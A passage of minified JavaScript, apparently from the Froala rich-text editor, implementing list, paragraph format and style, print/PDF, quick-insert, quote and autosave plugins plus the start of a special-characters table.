class="fr-open-([a-z]*)"><\/span>/g,"<$1>"),p.replaceWith(g.node.openTagString(p.get(0))+u+g.node.closeTagString(p.get(0)))}return g.$el.find("li:empty").remove(),g.$el.find("ul:empty, ol:empty").remove(),g.clean.lists(),g.$el.find("ul:empty, ol:empty").remove(),g.html.wrap(),n}function u(e,t){var a=h(document.createElement("li"));if(e.childNodes.length)for(var n=e.childNodes[0].attributes,r=0;r<n.length;r++){var i=n[r];"style"===i.name&&(a[0].style.cssText+=i.value)}h(e).prepend(a),h(e).removeAttr("start");for(var o=g.node.contents(t)[0];o&&!g.node.isList(o);){var s=o.nextSibling;a.append(o),o=s}}function e(e){if("indent"==e||"outdent"==e){var t=!1,a=g.selection.blocks(!1,!0),n=[],r=a[0].previousSibling||a[0].parentElement;if("outdent"==e){if("UL"!=a[0].parentNode.tagName&&"UL"!=r.parentNode.tagName&&"OL"!=r.parentNode.tagName&&"LI"!=r.parentNode.tagName)return;if(!a[0].previousSibling&&"none"==r.parentNode.style.listStyleType)return void function o(e){for(g.selection.save();0<e.childNodes.length;)e.parentNode.parentNode.append(e.childNodes[0]);g.clean.lists(),g.selection.restore()}(r)}else{if("UL"!=a[0].parentElement.tagName&&"OL"!=a[0].parentElement.tagName&&"LI"!=a[0].parentElement.tagName)return;if(g.node.isBlock(a[0])&&"LI"!==a[0].tagName&&0<h(a[0]).parentsUntil(g.$el,"LI").length&&(a[0]=a[0].parentElement,r=a[0].parentElement),!a[0].previousSibling||"LI"!=a[0].previousSibling.tagName){if(0==h(a[0]).parents("li").length)return void function s(e){g.selection.save();var t="OL"==e.tagName?document.createElement("ol"):document.createElement("ul");for(h(t).css("list-style-type",h(e).css("list-style-type"));0<e.childNodes.length;)t.append(e.childNodes[0]);var a=document.createElement("li");t.append(a),e.append(t),g.clean.lists(),g.selection.restore()}(r);t=!0}}for(var i=0;i<a.length;i++)"LI"==a[i].tagName?(t=!0,n.push(a[i])):"LI"==a[i].parentNode.tagName&&n.indexOf(a[i].parentNode)<0&&(t=!0,n.push(a[i].parentNode));t&&("indent"==e?function p(e){g.selection.save();for(var t=!1,a=0;a<e.length;a++){var n=e[a].previousSibling;if(n&&"LI"==n.tagName&&!t){var r=h(e[a]).find("> ul, > ol").last().get(0);if(r)u(r,e[a]),h(n).append(h(r)),h(e[a]).remove();else{var i=h(n).find("> ul, > ol").last().get(0);if(i)h(i).append(h(e[a]));else{var o=h("<".concat(e[a].parentNode.tagName,">"));h(n).append(o),o.append(h(e[a]))}}}else if(!n||"OL"!=n.tagName&&"UL"!=n.tagName){var s=e[a].parentNode;if(t=!0,"UL"==s.tagName||"OL"==s.tagName){var l=h(e[a]).find("> ol, > ul"),c=null==e[a].previousSibling;if(l.length){var d=l.first().get(0);u(d,e[a]),c?h(s).prepend(h(d)):h(s).append(h(d)),h(e[a]).remove()}else h(e[a]).wrap("<".concat(s.tagName,">"));c&&0<h(s).find("> li").length&&h(s).attr("start","2")}}else{var f=h(e[a]).find("> ol, > ul").first().get(0);f?(u(f,e[a]),h(n).append(h(f).children()),h(e[a]).remove(),h(f).remove()):h(n).append(h(e[a]))}}g.clean.lists(),g.selection.restore()}(n):function l(e){g.selection.save();var t=[];do{t=d(e),e=[];for(var a=0;a<t.length;a++){var n=g.$el.find(".fr-removed-block-".concat(t[a])).first().get(0);h(n).removeClass("fr-removed-block-".concat(t[a])),""==h(n).attr("class")&&h(n).removeAttr("class"),e.push(n)}}while(0<t.length);g.selection.restore()}(n))}}return{_init:function t(){g.events.on("commands.after",e),g.events.on("keydown",function(e){if(e.which==St.KEYCODE.TAB){for(var t=g.selection.blocks(),a=[],n=0;n<t.length;n++)"LI"==t[n].tagName?a.push(t[n]):"LI"==t[n].parentNode.tagName&&a.push(t[n].parentNode);if(1<=a.length||a.length&&(g.selection.info(a[0]).atStart||g.node.isEmpty(a[0])))return e.preventDefault(),e.stopPropagation(),e.shiftKey?g.commands.outdent():g.commands.indent(),!1}},!0)},format:function f(e,t){var a,n,r=1<(n=g.selection.blocks(!0)).length&&n[n.length-1],i=g.selection.ranges();if(r&&i.length&&g.node.isEmpty(r)&&!i[0].endOffset&&i[0].setEndAfter(r.firstChild,1),g.html.syncInputs(),g.selection.save(),g.browser.safari&&g.helpers.getSafariVersion()<17){var o=g.selection.ranges();if(i&&i[0].endContainer&&o&&o[0].endContainer&&!i[0].endContainer.isSameNode(o[0].endContainer)&&i[0].endContainer.previousSibling&&i[0].endContainer.previousSibling.isSameNode(o[0].endContainer)){var s=h(o[0].endContainer).find('.fr-marker[data-type="false"]');h(i[0].endContainer).append(s[0])}}for(g.html.wrap(!0,!0,!0,!0),g.selection.restore(),n=g.selection.blocks(!0),a=0;a<n.length;a++)"LI"!=n[a].tagName&&"LI"==n[a].parentNode.tagName&&(n[a]=n[a].parentNode);if(g.selection.save(),function l(e,t){for(var a=!0,n=0;n<e.length;n++){if("LI"!=e[n].tagName)return!1;e[n].parentNode.tagName!=t&&(a=!1)}return a}(n,e)?t||d(n):c(n,e),g.html.unwrap(),g.selection.restore(),t=t||"default"){for(n=g.selection.blocks(),a=0;a<n.length;a++)"LI"!=n[a].tagName&&"LI"==n[a].parentNode.tagName&&(n[a]=n[a].parentNode);for(a=0;a<n.length;a++)"LI"==n[a].tagName&&(h(n[a].parentNode).css("list-style-type","default"===t?"":t),0===(h(n[a].parentNode).attr("style")||"").length&&h(n[a].parentNode).removeAttr("style"))}},refresh:function r(e,t){var a=h(g.selection.element());if(a.get(0)!=g.el){var n=a.get(0);(n="LI"!=n.tagName&&n.firstElementChild&&"LI"!=n.firstElementChild.tagName?a.parents("li").get(0):"LI"==n.tagName||n.firstElementChild?n.firstElementChild&&"LI"==n.firstElementChild.tagName?a.get(0).firstChild:a.get(0):a.parents("li").get(0))&&n.parentNode.tagName==t&&g.el.contains(n.parentNode)&&e.addClass("fr-active")}}}},St.DefineIcon("formatOLSimple",{NAME:"list-ol",SVG_KEY:"orderedList"}),St.RegisterCommand("formatOLSimple",{title:"Ordered List",type:"button",options:{"default":"Default",circle:"Circle",disc:"Disc",square:"Square"},refresh:function(e){this.lists.refresh(e,"OL")},callback:function(e,t){this.lists.format("OL",t)},plugin:"lists"}),St.RegisterCommand("formatUL",{title:"Unordered List",type:"button",hasOptions:function(){return this.opts.listAdvancedTypes},options:{"default":"Default",circle:"Circle",disc:"Disc",square:"Square"},refresh:function(e){this.lists.refresh(e,"UL")},callback:function(e,t){this.lists.format("UL",t)},plugin:"lists"}),St.RegisterCommand("formatOL",{title:"Ordered List",hasOptions:function(){return this.opts.listAdvancedTypes},options:{"default":"Default","lower-alpha":"Lower Alpha","lower-greek":"Lower Greek","lower-roman":"Lower Roman","upper-alpha":"Upper Alpha","upper-roman":"Upper Roman"},refresh:function(e){this.lists.refresh(e,"OL")},callback:function(e,t){this.lists.format("OL",t)},plugin:"lists"}),St.DefineIcon("formatUL",{NAME:"list-ul",SVG_KEY:"unorderedList"}),St.DefineIcon("formatOL",{NAME:"list-ol",SVG_KEY:"orderedList"}),Object.assign(St.DEFAULTS,{paragraphFormat:{N:"Normal",H1:"Heading 1",H2:"Heading 2",H3:"Heading 3",H4:"Heading 4",PRE:"Code"},paragraphFormatSelection:!1,paragraphDefaultSelection:"Paragraph Format"}),St.PLUGINS.paragraphFormat=function(u){var g=u.$;function h(e,t){var a=u.html.defaultTag();if(t&&t.toLowerCase()!=a)if(0<e.find("ul, ol").length){var n=g("<"+t+">");e.prepend(n);for(var r=u.node.contents(e.get(0))[0];r&&["UL","OL"].indexOf(r.tagName)<0;){var i=r.nextSibling;n.append(r),r=i}}else e.html("<"+t+">"+e.html()+"</"+t+">")}return{apply:function m(e){"N"==e&&(e=u.html.defaultTag()),u.selection.save(),u.html.wrap(!0,!0,!u.opts.paragraphFormat.BLOCKQUOTE,!0,!0),u.selection.restore();var t,a,n,r,i,o,s,l,c=u.selection.blocks();u.selection.save(),u.$el.find("pre").attr("skip",!0);for(var d=0;d<c.length;d++)if(c[d].tagName!=e&&!u.node.isList(c[d])){var f=g(c[d]);if("LI"==c[d].tagName)h(f,e);else if("LI"==c[d].parentNode.tagName&&c[d])o=f,s=e,l=u.html.defaultTag(),s&&s.toLowerCase()!=l||(s='div class="fr-temp-div"'),o.replaceWith(g("<"+s+">").html(o.html()));else if(0<=["TD","TH"].indexOf(c[d].parentNode.tagName))n=f,r=e,i=u.html.defaultTag(),r||(r='div class="fr-temp-div"'+(u.node.isEmpty(n.get(0),!0)?' data-empty="true"':"")),r.toLowerCase()==i?(u.node.isEmpty(n.get(0),!0)||n.append("<br/>"),n.replaceWith(n.html())):n.replaceWith(g("<"+r+">").html(n.html()));else{if("PRE"===e&&null===f[0].nextSibling){var p=g("<br>");f[0].after(p[0])}t=f,(a=e)||(a='div class="fr-temp-div"'+(u.node.isEmpty(t.get(0),!0)?' data-empty="true"':"")),("H1"==a||"H2"==a||"H3"==a||"H4"==a||"H5"==a)&&-1<u.node.attributes(t.get(0)).indexOf("font-size:")?t.replaceWith(g("<"+a+" "+u.node.attributes(t.get(0)).replace(/font-size:[0-9]+px;?/,"")+">").html(t.html()).removeAttr("data-empty")):t.replaceWith(g("<"+a+" "+u.node.attributes(t.get(0))+">").html(t.html()).removeAttr("data-empty"))}}u.$el.find('pre:not([skip="true"]) + pre:not([skip="true"])').each(function(){g(this).prev().append("<br>"+g(this).html()),g(this).remove()}),u.$el.find("pre").removeAttr("skip"),u.html.unwrap(),u.selection.restore()},refreshOnShow:function o(e,t){var a=u.selection.blocks();if(a.length){var n=a[0],r="N",i=u.html.defaultTag();n.tagName.toLowerCase()!=i&&n!=u.el&&(r=n.tagName),t.find('.fr-command[data-param1="'+r+'"]').addClass("fr-active").attr("aria-selected",!0)}else t.find('.fr-command[data-param1="N"]').addClass("fr-active").attr("aria-selected",!0)},refresh:function i(e){if(u.opts.paragraphFormatSelection){var t=u.selection.blocks();if(t.length){var a=t[0],n="N",r=u.html.defaultTag();a.tagName.toLowerCase()!=r&&a!=u.el&&(n=a.tagName),0<=["LI","TD","TH"].indexOf(n)&&(n="N"),e.find(">span").text(u.language.translate(u.opts.paragraphFormat[n]))}else e.find(">span").text(u.language.translate(u.opts.paragraphFormat.N))}}}},St.RegisterCommand("paragraphFormat",{type:"dropdown",displaySelection:function(e){return e.opts.paragraphFormatSelection},defaultSelection:function(e){return e.language.translate(e.opts.paragraphDefaultSelection)},displaySelectionWidth:80,html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.paragraphFormat;for(var a in t)if(t.hasOwnProperty(a)){var n=this.shortcuts.get("paragraphFormat."+a);n=n?'<span class="fr-shortcut">'+n+"</span>":"",e+='<li role="presentation"><'+("N"==a?this.html.defaultTag()||"DIV":a)+' style="padding: 0 !important; margin: 0 !important; border: 0 !important; background-color: transparent !important; '+("PRE"==a||"N"==a?"font-size: 15px":"font-weight: bold !important; ")+("H1"==a?"font-size: 2em !important; ":"")+("H2"==a?"font-size: 1.5em !important; ":"")+("H3"==a?"font-size: 1.17em !important; ":"")+("H4"==a?"font-size: 15px !important;":"")+'" role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="paragraphFormat" data-param1="'+a+'" title="'+this.language.translate(t[a])+'">'+this.language.translate(t[a])+"</a></"+("N"==a?this.html.defaultTag()||"DIV":a)+"></li>"}return e+="</ul>"},title:"Paragraph Format",callback:function(e,t){this.paragraphFormat.apply(t)},refresh:function(e){this.paragraphFormat.refresh(e)},refreshOnShow:function(e,t){this.paragraphFormat.refreshOnShow(e,t)},plugin:"paragraphFormat"}),St.DefineIcon("paragraphFormat",{NAME:"paragraph",SVG_KEY:"paragraphFormat"}),Object.assign(St.DEFAULTS,{paragraphStyles:{"fr-text-gray":"Gray","fr-text-bordered":"Bordered","fr-text-spaced":"Spaced","fr-text-uppercase":"Uppercase"},paragraphMultipleStyles:!0}),St.PLUGINS.paragraphStyle=function(l){var c=l.$;return{_init:function e(){},apply:function d(e,t,a){void 0===t&&(t=l.opts.paragraphStyles),void 0===a&&(a=l.opts.paragraphMultipleStyles);var n="";a||((n=Object.keys(t)).splice(n.indexOf(e),1),n=n.join(" ")),l.selection.save(),l.html.wrap(!0,!0,!0,!0),l.selection.restore();var r=l.selection.blocks();l.selection.save();for(var i=c(r[0]).hasClass(e),o=0;o<r.length;o++)c(r[o]).removeClass(n).toggleClass(e,!i),c(r[o]).hasClass("fr-temp-div")&&c(r[o]).removeClass("fr-temp-div"),""===c(r[o]).attr("class")&&c(r[o]).removeAttr("class");if(1===r.length&&"fr-text-bordered"===e&&null===r[0].nextSibling){var s=c("<br>");r[0].after(s[0])}l.html.unwrap(),l.selection.restore()},refreshOnShow:function r(e,t){var a=l.selection.blocks();if(a.length){var n=c(a[0]);t.find(".fr-command").each(function(){var e=c(this).data("param1"),t=n.hasClass(e);c(this).toggleClass("fr-active",t).attr("aria-selected",t)})}}}},St.RegisterCommand("paragraphStyle",{type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.paragraphStyles;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command '.concat(a,'" tabIndex="-1" role="option" data-cmd="paragraphStyle" data-param1="').concat(a,'" title="').concat(this.language.translate(t[a]),'">').concat(this.language.translate(t[a]),"</a></li>"));return e+="</ul>"},title:"Paragraph Style",callback:function(e,t){this.paragraphStyle.apply(t)},refreshOnShow:function(e,t){this.paragraphStyle.refreshOnShow(e,t)},plugin:"paragraphStyle"}),St.DefineIcon("paragraphStyle",{NAME:"magic",SVG_KEY:"paragraphStyle"}),Object.assign(St.DEFAULTS,{html2pdf:window.html2pdf}),St.PLUGINS.print=function(l){return{run:function e(){!function s(e){var t=l.html.get(),a=null;l.shared.print_iframe?a=l.shared.print_iframe:((a=document.createElement("iframe")).name="fr-print",a.style.position="fixed",a.style.top="0",a.style.left="-9999px",a.style.height="100%",a.style.width="0",a.style.overflow="hidden",a.style["z-index"]="2147483647",a.style.tabIndex="-1",l.events.on("shared.destroy",function(){a.remove()}),l.shared.print_iframe=a);try{document.body.removeChild(a)}catch(o){}document.body.appendChild(a);var n=function(){e(),a.removeEventListener("load",n)};a.addEventListener("load",n);var r=a.contentWindow;r.document.open(),r.document.write("<!DOCTYPE html><html "+(l.opts.documentReady?'style="margin: 0; padding: 0;"':"")+"><head><title>"+document.title+"</title>"),Array.prototype.forEach.call(document.querySelectorAll("style"),function(e){e=e.cloneNode(!0),r.document.write(e.outerHTML)});var i=document.querySelectorAll("link[rel=stylesheet]");Array.prototype.forEach.call(i,function(e){var t=document.createElement("link");t.rel=e.rel,t.href=e.href,t.media="print",t.type="text/css",t.media="all",r.document.write(t.outerHTML)}),r.document.write('</head><body style="height:auto;text-align: '+("rtl"==l.opts.direction?"right":"left")+"; direction: "+l.opts.direction+"; "+(l.opts.documentReady?" padding: 2cm; width: 17cm; margin: 0;":"")+'"><div class="fr-view">'),r.document.write(t),r.document.write("</div></body></html>"),r.document.close()}(function(){setTimeout(function(){l.events.disableBlur(),window.frames["fr-print"].focus(),window.frames["fr-print"].print(),l.$win.get(0).focus(),l.events.disableBlur(),l.events.focus()},0)})},toPDF:function t(){l.opts.html2pdf&&(l.$el.css("text-align","left"),l.opts.html2pdf().set({margin:[10,20],html2canvas:{useCORS:!0}}).from(l.el).save(),setTimeout(function(){l.$el.css("text-align","")},100))}}},St.DefineIcon("print",{NAME:"print",SVG_KEY:"print"}),St.RegisterCommand("print",{title:"Print",undo:!1,focus:!1,plugin:"print",callback:function(){this.print.run()}}),St.DefineIcon("getPDF",{NAME:"file-pdf-o",FA5NAME:"file-pdf",SVG_KEY:"pdfExport"}),St.RegisterCommand("getPDF",{title:"Download PDF",type:"button",focus:!1,undo:!1,callback:function(){this.print.toPDF()}}),Object.assign(St.DEFAULTS,{quickInsertButtons:["image","video","embedly","table","ul","ol","hr"],quickInsertTags:["p","div","h1","h2","h3","h4","h5","h6","pre","blockquote"],quickInsertEnabled:!0}),St.QUICK_INSERT_BUTTONS={},St.DefineIcon("quickInsert",{SVG_KEY:"add",template:"svg"}),St.RegisterQuickInsertButton=function(e,t){St.QUICK_INSERT_BUTTONS[e]=Object.assign({undo:!0},t)},St.RegisterQuickInsertButton("image",{icon:"insertImage",requiredPlugin:"image",title:"Insert Image",undo:!1,callback:function(){var e=this,t=e.$;e.shared.$qi_image_input||(e.shared.$qi_image_input=t(document.createElement("input")).attr("accept","image/"+e.opts.imageAllowedTypes.join(", image/").toLowerCase()).attr("name","quickInsertImage".concat(this.id)).attr("style","display: none;").attr("type","file"),t("body").first().append(e.shared.$qi_image_input),e.events.$on(e.shared.$qi_image_input,"change",function(){var e=t(this).data("inst");this.files&&(e.quickInsert.hide(),e.image.upload(this.files)),t(this).val("")},!0)),e.$qi_image_input=e.shared.$qi_image_input,e.helpers.isMobile()&&e.selection.save(),e.events.disableBlur(),e.$qi_image_input.data("inst",e)[0].click()}}),St.RegisterQuickInsertButton("video",{icon:"insertVideo",requiredPlugin:"video",title:"Insert Video",undo:!1,callback:function(){var e=prompt(this.language.translate("Paste the URL of the video you want to insert."));e&&this.video.insertByURL(e)}}),St.RegisterQuickInsertButton("embedly",{icon:"embedly",requiredPlugin:"embedly",title:"Embed URL",undo:!1,callback:function(){var e=prompt(this.language.translate("Paste the URL of any web content you want to insert."));e&&this.embedly.add(e)}}),St.RegisterQuickInsertButton("table",{icon:"insertTable",requiredPlugin:"table",title:"Insert Table",callback:function(){this.table.insert(2,2)}}),St.RegisterQuickInsertButton("ol",{icon:"formatOL",requiredPlugin:"lists",title:"Ordered List",callback:function(){this.lists.format("OL")}}),St.RegisterQuickInsertButton("ul",{icon:"formatUL",requiredPlugin:"lists",title:"Unordered List",callback:function(){this.lists.format("UL")}}),St.RegisterQuickInsertButton("hr",{icon:"insertHR",title:"Insert Horizontal Line",callback:function(){this.commands.insertHR()}}),St.PLUGINS.quickInsert=function(o){var s,l,c=o.$,d=!1;function a(e){var t,a,n;(t=e.offset().top-o.$box.offset().top,a=(o.$iframe&&o.$iframe.offset().left||0)+e.offset().left-e.position().left-4<s.outerWidth()?e.offset().left+s.outerWidth():0-s.outerWidth(),o.opts.enter!=St.ENTER_BR)?n=(s.outerHeight()-e.outerHeight())/2:(c(document.createElement("span")).html(St.INVISIBLE_SPACE).insertAfter(e),n=(s.outerHeight()-e.next().outerHeight())/2,e.next().remove());if(o.opts.iframe){var r=o.helpers.getPX(o.$wp.find(".fr-iframe").css("padding-top"));t+=o.$iframe.offset().top+r}s.hasClass("fr-on")&&0<=t&&l.css("top",t-n),0<=t&&t-Math.abs(n)<=o.$box.outerHeight()-e.outerHeight()?(s.hasClass("fr-hidden")&&(s.hasClass("fr-on")&&f(),s.removeClass("fr-hidden")),s.css("top",t-n)):s.hasClass("fr-visible")&&!o.opts.toolbarInline&&(s.addClass("fr-hidden"),p()),s.css("left",a)}function r(e){o.markdown&&o.markdown.isEnabled()||(s||function t(){o.shared.$quick_insert||(o.shared.$quick_insert=c(document.createElement("div")).attr("class","fr-quick-insert").html('<a class="fr-floating-btn" role="button" tabIndex="-1" title="'.concat(o.language.translate("Quick Insert"),'">').concat(o.icon.create("quickInsert"),"</a>")));s=o.shared.$quick_insert,o.tooltip.bind(o.$box,".fr-quick-insert > a.fr-floating-btn"),o.events.on("destroy",function(){c("body").first().append(s.removeClass("fr-on")),l&&(p(),c("body").first().append(l.css("left",-9999).css("top",-9999)))},!0),o.events.on("shared.destroy",function(){s.html("").removeData().remove(),s=null,l&&(l.html("").removeData().remove(),l=null)},!0),o.events.on("commands.before",i),o.events.on("commands.after",function(){o.popups.areVisible()||n()}),o.events.bindClick(o.$box,".fr-quick-insert > a",f),o.events.bindClick(o.$box,".fr-qi-helper > a.fr-btn",function(e){var t=c(e.currentTarget).data("cmd");if(!1===o.events.trigger("quickInsert.commands.before",[t]))return!1;St.QUICK_INSERT_BUTTONS[t].callback.apply(o,[e.currentTarget]),St.QUICK_INSERT_BUTTONS[t].undo&&o.undo.saveStep(),o.events.trigger("quickInsert.commands.after",[t]),o.quickInsert.hide()}),o.events.$on(o.$wp,"scroll",u),o.events.$on(o.$tb,"transitionend",".fr-more-toolbar",u)}(),s.hasClass("fr-on")&&p(),o.$box.append(s),a(e),s.data("tag",e),s.addClass("fr-visible"))}function n(){if(o.core.hasFocus()){var e=o.selection.element();if(o.opts.enter==St.ENTER_BR||o.node.isBlock(e)||(e=o.node.blockParent(e)),o.opts.enter==St.ENTER_BR&&!o.node.isBlock(e)){var t=o.node.deepestParent(e);t&&(e=t)}var a=function a(){return o.opts.enter!=St.ENTER_BR&&o.node.isEmpty(e)&&0<=o.opts.quickInsertTags.indexOf(e.tagName.toLowerCase())},n=function n(){return o.opts.enter==St.ENTER_BR&&("BR"==e.tagName&&(!e.previousSibling||"BR"==e.previousSibling.tagName||o.node.isBlock(e.previousSibling))||o.node.isEmpty(e)&&(!e.previousSibling||"BR"==e.previousSibling.tagName||o.node.isBlock(e.previousSibling))&&(!e.nextSibling||"BR"==e.nextSibling.tagName||o.node.isBlock(e.nextSibling)))};e&&(a()||n())?s&&s.data("tag").is(c(e))&&s.hasClass("fr-on")?p():o.selection.isCollapsed()&&r(c(e)):i()}}function i(){s&&!d&&(s.hasClass("fr-on")&&p(),s.removeClass("fr-visible fr-on"),s.css("left",-9999).css("top",-9999))}function f(e){if(e&&e.preventDefault(),s.hasClass("fr-on")&&!s.hasClass("fr-hidden"))p();else{if(!o.shared.$qi_helper){for(var t=o.opts.quickInsertButtons,a='<div class="fr-qi-helper">',n=0,r=0;r<t.length;r++){var i=St.QUICK_INSERT_BUTTONS[t[r]];i&&(!i.requiredPlugin||St.PLUGINS[i.requiredPlugin]&&0<=o.opts.pluginsEnabled.indexOf(i.requiredPlugin))&&(a+='<a class="fr-btn fr-floating-btn" role="button" title="'.concat(o.language.translate(i.title),'" tabIndex="-1" data-cmd="').concat(t[r],'" style="transition-delay: ').concat(.025*n++,'s;">').concat(o.icon.create(i.icon),"</a>"))}a+="</div>",o.shared.$qi_helper=c(a),o.tooltip.bind(o.shared.$qi_helper,"a.fr-btn"),o.events.$on(o.shared.$qi_helper,"mousedown",function(e){e.preventDefault()},!0)}l=o.shared.$qi_helper,o.$box.append(l),d=!0,setTimeout(function(){d=!1,l.css("top",parseFloat(s.css("top"))),l.css("left",parseFloat(s.css("left"))+s.outerWidth()),l.find("a").addClass("fr-size-1"),s.addClass("fr-on")},10)}}function p(){var t=o.$box.find(".fr-qi-helper");if(t.length){for(var a=t.find("a"),e=0;e<a.length;e++)!function(e){setTimeout(function(){t.children().eq(a.length-1-e).removeClass("fr-size-1")},25*e)}(e);setTimeout(function(){t.css("left",-9999),s&&!s.hasClass("fr-hidden")&&s.removeClass("fr-on")},25*e)}}function u(){s.hasClass("fr-visible")&&a(s.data("tag"))}return{_init:function e(){if(!o.$wp||!o.opts.quickInsertEnabled)return!1;o.popups.onShow("image.edit",i),o.events.on("mouseup",n),o.helpers.isMobile()&&o.events.$on(c(o.o_doc),"selectionchange",n),o.events.on("blur",i),o.events.on("keyup",n),o.events.on("keydown",function(){setTimeout(function(){n()},0)})},hide:i}},St.PLUGINS.quote=function(i){var o=i.$;function s(e){for(;e.parentNode&&e.parentNode!=i.el;)e=e.parentNode;return e}return{apply:function t(e){i.selection.save(),i.html.wrap(!0,!0,!0,!0),i.selection.restore(),"increase"==e?function n(){var e,t=i.selection.blocks();for(e=0;e<t.length;e++)t[e]=s(t[e]);i.selection.save();var a=o(document.createElement("blockquote"));for(a.insertBefore(t[0]),e=0;e<t.length;e++)a.append(t[e]);i.opts.trackChangesEnabled&&i.track_changes.addQuote(a),i.html.unwrap(),i.selection.restore()}():"decrease"==e&&function r(){var e,t=i.opts.trackChangesEnabled,a=i.selection.blocks();for(e=0;e<a.length;e++)"BLOCKQUOTE"!=a[e].tagName&&(a[e]=t&&o(a[e]).parentsUntil(i.$el,"[data-track-id^=pending]").get(0)||o(a[e]).parentsUntil(i.$el,"BLOCKQUOTE").get(0));for(i.selection.save(),e=0;e<a.length;e++)a[e]&&(t?i.track_changes.removeQuote(o(a[e]),e):o(a[e]).replaceWith(a[e].innerHTML));i.html.unwrap(),i.selection.restore()}()}}},St.RegisterShortcut(St.KEYCODE.SINGLE_QUOTE,"quote","increase","'"),St.RegisterShortcut(St.KEYCODE.SINGLE_QUOTE,"quote","decrease","'",!0),St.RegisterCommand("quote",{title:"Quote",type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t={increase:"Increase",decrease:"Decrease"};for(var a in t)if(t.hasOwnProperty(a)){var n=this.shortcuts.get("quote.".concat(a));e+='<li role="presentation"><a class="fr-command fr-active '.concat(a,'" tabIndex="-1" role="option" data-cmd="quote" data-param1="').concat(a,'" title="').concat(t[a],'">').concat(this.language.translate(t[a])).concat(n?'<span class="fr-shortcut">'.concat(n,"</span>"):"","</a></li>")}return e+="</ul>"},callback:function(e,t){this.quote.apply(t)},plugin:"quote"}),St.DefineIcon("quote",{NAME:"quote-left",SVG_KEY:"blockquote"}),Object.assign(St.DEFAULTS,{saveInterval:1e4,saveURL:null,saveParams:{},saveParam:"body",saveMethod:"POST"}),St.PLUGINS.save=function(s){var l=s.$,n=null,c=null,t=!1,d=1,f=2,a={};function p(e,t){s.events.trigger("save.error",[{code:e,message:a[e]},t])}function r(e){void 0===e&&(e=s.html.get());var n=e,t=s.events.trigger("save.before",[e]);if(!1===t)return!1;if("string"==typeof t&&(e=t),s.opts.saveURL){var a={};for(var r in s.opts.saveParams)if(s.opts.saveParams.hasOwnProperty(r)){var i=s.opts.saveParams[r];a[r]="function"==typeof i?i.call(this):i}var o={};o[s.opts.saveParam]=e,l(this).ajax({method:s.opts.saveMethod,url:s.opts.saveURL,data:Object.assign(o,a),crossDomain:s.opts.requestWithCORS,withCredentials:s.opts.requestWithCredentials,headers:s.opts.requestHeaders,done:function(e,t,a){c=n,s.events.trigger("save.after",[e])},fail:function(e){p(f,e.response||e.responseText)}})}else p(d)}function i(){clearTimeout(n),n=setTimeout(function(){var e=s.html.get();(c!=e||t)&&(t=!1,r(c=e))},0)}return a[d]="Missing saveURL option.",a[f]="Something went wrong during save.",{_init:function o(){if(s.opts.letteringClass)for(var e=s.opts.letteringClass,t=s.$el.find(".".concat(e)).length,a=0;a<t;a++)s.$el.find(".".concat(e))[a].innerHTML=s.$el.find(".".concat(e))[a].innerText.replace(/([\w'-]+|[?.",])/g,"<span class = 'fr-word-select'>$1</span>");s.opts.saveInterval&&(c=s.html.get(),s.events.on("contentChanged",function(){setTimeout(i,s.opts.saveInterval)}),s.events.on("keydown destroy",function(){clearTimeout(n)}))},save:r,reset:function e(){i(),t=!1},force:function u(){t=!0}}},St.DefineIcon("save",{NAME:"floppy-o",FA5NAME:"save"}),St.RegisterCommand("save",{title:"Save",undo:!1,focus:!1,refreshAfterCallback:!1,callback:function(){this.save.save()},plugin:"save"}),Object.assign(St.DEFAULTS,{specialCharactersSets:[{title:"Latin","char":"¡",list:[{"char":"¡",desc:"INVERTED EXCLAMATION MARK"},{"char":"¢",desc:"CENT SIGN"},{"char":"£",desc:"POUND SIGN"},{"char":"¤",desc:"CURRENCY SIGN"},{"char":"¥",desc:"YEN SIGN"},{"char":"¦",desc:"BROKEN BAR"},{"char":"§",desc:"SECTION SIGN"},{"char":"¨",desc:"DIAERESIS"},{"char":"©",desc:"COPYRIGHT SIGN"},{"char":"™",desc:"TRADEMARK SIGN"},{"char":"ª",desc:"FEMININE ORDINAL INDICATOR"},{"char":"«",desc:"LEFT-POINTING DOUBLE ANGLE QUOTATION MARK"},{"char":"¬",desc:"NOT SIGN"},{"char":"®",desc:"REGISTERED SIGN"},{"char":"¯",desc:"MACRON"},{"char":"°",desc:"DEGREE SIGN"},{"char":"±",desc:"PLUS-MINUS SIGN"},{"char":"²",desc:"SUPERSCRIPT TWO"},{"char":"³",desc:"SUPERSCRIPT THREE"},{"char":"´",desc:"ACUTE ACCENT"},{"char":"µ",desc:"MICRO SIGN"},{"char":"¶",desc:"PILCROW SIGN"},{"char":"·",desc:"MIDDLE DOT"},{"char":"¸",desc:"CEDILLA"},{"char":"¹",desc:"SUPERSCRIPT ONE"},{"char":"º",desc:"MASCULINE ORDINAL INDICATOR"},{"char":"»",desc:"RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK"},{"char":"¼",desc:"VULGAR FRACTION ONE QUARTER"},{"char":"½",desc:"VULGAR FRACTION ONE HALF"},{"char":"¾",desc:"VULGAR FRACTION THREE QUARTERS"},{"char":"¿",desc:"INVERTED QUESTION MARK"},{"char":"À",desc:"LATIN CAPITAL LETTER A WITH GRAVE"},{"char":"Á",desc:"LATIN CAPITAL LETTER A WITH ACUTE"},{"char":"Â",desc:"LATIN CAPITAL LETTER A WITH CIRCUMFLEX"},{"char":"Ã",desc:"LATIN CAPITAL LETTER A WITH TILDE"},{"char":"Ä",desc:"LATIN CAPITAL LETTER A WITH DIAERESIS "},{"char":"Å",desc:"LATIN CAPITAL LETTER A WITH RING ABOVE"},{"char":"Æ",desc:"LATIN CAPITAL LETTER AE"},{"char":"Ç",desc:"LATIN CAPITAL LETTER C WITH CEDILLA"},{"char":"È",desc:"LATIN CAPITAL LETTER E WITH GRAVE"},{"char":"É",desc:"LATIN CAPITAL LETTER E WITH ACUTE"},{"char":"Ê",desc:"LATIN CAPITAL LETTER E WITH CIRCUMFLEX"},{"char":"Ë",desc:"LATIN CAPITAL LETTER E WITH DIAERESIS"},{"char":"Ì",desc:"LATIN CAPITAL LETTER I WITH GRAVE"},{"char":"Í",desc:"LATIN CAPITAL LETTER I WITH ACUTE"},{"char":"Î",desc:"LATIN CAPITAL LETTER I WITH 